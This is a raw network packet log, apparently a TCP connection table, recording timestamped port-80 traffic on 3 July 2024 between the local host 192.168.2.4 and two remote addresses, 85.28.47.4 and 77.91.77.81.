Jul 3, 2024 23:59:08.986010075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986021996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986035109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986043930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986054897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986061096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986066103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986078978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986089945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986089945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986089945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986100912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986112118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986119986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986139059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986146927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986289978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986330986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986396074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986407042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986418009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986434937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986433983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986445904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986448050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986458063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986464977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986469984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986478090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986484051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986506939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986515999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986690044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986701965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986711979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986726046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986738920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986759901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986802101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986814976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986824036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986834049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986844063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986844063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986851931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986860037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986865997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986874104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986886024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986892939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986896992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986907959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.986918926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.986942053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.987240076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.987251043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.987261057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.987271070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.987277985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.987282038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.987294912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.987306118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.987318993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.987345934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.066940069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067115068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067117929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067125082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067131042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067141056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067145109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067150116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067161083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067178011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067197084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067203999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067230940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067244053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067274094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067291021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067301035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067332983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067362070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067362070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067403078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067414999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067424059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067456961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067521095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067531109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067539930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067559958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067572117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067668915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067679882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067691088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067698002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067701101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067713022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067718029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067742109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067753077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067890882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067902088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067910910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067919970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067929983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.067938089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067958117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.067969084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068077087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068092108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068101883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068110943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068120003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068124056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068133116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068161011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068306923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068317890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068327904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068336964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068346024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068355083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068356991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068370104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068371058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068382978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068383932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068407059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068425894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.068559885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068571091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.068608999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.095534086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.100383043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280260086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280281067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280292988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280342102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280361891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280388117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280400991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280411005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280421972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280433893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280446053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280476093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280610085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280622959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280632973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280643940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280654907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280657053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280668974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280679941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280682087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280700922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280752897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280776978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280817032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280841112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280853033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280880928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280893087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.280976057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280987978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.280997992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281008959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281017065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281029940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281058073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281214952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281225920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281236887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281246901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281256914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281256914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281271935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281281948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281282902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281292915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281303883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281316996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281337976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281351089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281574965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281585932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281596899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281606913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281618118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281624079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281629086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281641960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281651020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281673908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281692982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281887054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281900883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281910896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281922102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281932116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281935930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281943083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281955004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281961918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281965971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281972885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.281977892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281991959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.281991959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282006025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282016993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282021999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282052040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282385111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282397032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282407045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282430887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282435894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282442093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282453060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282453060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282465935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282476902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282478094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282488108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282497883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282505989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282510042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282520056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282521963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282533884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282541037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282545090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282557011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282567024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282567024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282578945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282589912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282596111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282602072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.282618999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282629967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.282659054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.712299109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.712340117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:09.717212915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:09.717225075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:10.442751884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:10.442845106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:10.501359940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:10.506146908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:10.688002110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:10.688018084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:10.688029051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:10.688088894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:10.688139915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:10.700546980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:10.705626965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:10.904668093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:10.904738903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:11.237042904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:11.241944075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:11.970668077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:11.970730066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:12.069686890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:12.074547052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:12.828432083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:12.828499079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:12.831613064 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:12.836453915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:12.836518049 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:12.836642981 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:12.841651917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537070036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537100077 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537111044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537123919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537187099 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537197113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537209034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537219048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537224054 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.537333012 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537343979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.537360907 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.539913893 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.542059898 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.542100906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.542112112 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.542431116 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.658461094 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658478022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658567905 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658577919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658603907 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.658715963 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.658833981 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658845901 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658860922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658922911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658941031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.658957005 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.658979893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.659008980 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.659029961 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.659497976 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.659507990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.659660101 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.659673929 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.659738064 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.659749031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.659894943 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.660073996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.660125017 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.660135984 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.660151005 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.660211086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.660222054 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.660228968 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.660371065 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.660918951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.660970926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.660983086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.661149979 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.663485050 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.663527966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.663532019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.663547993 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.663569927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:13.663598061 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:13.663635969 CEST	49732	80	192.168.2.4	77.91.77.81
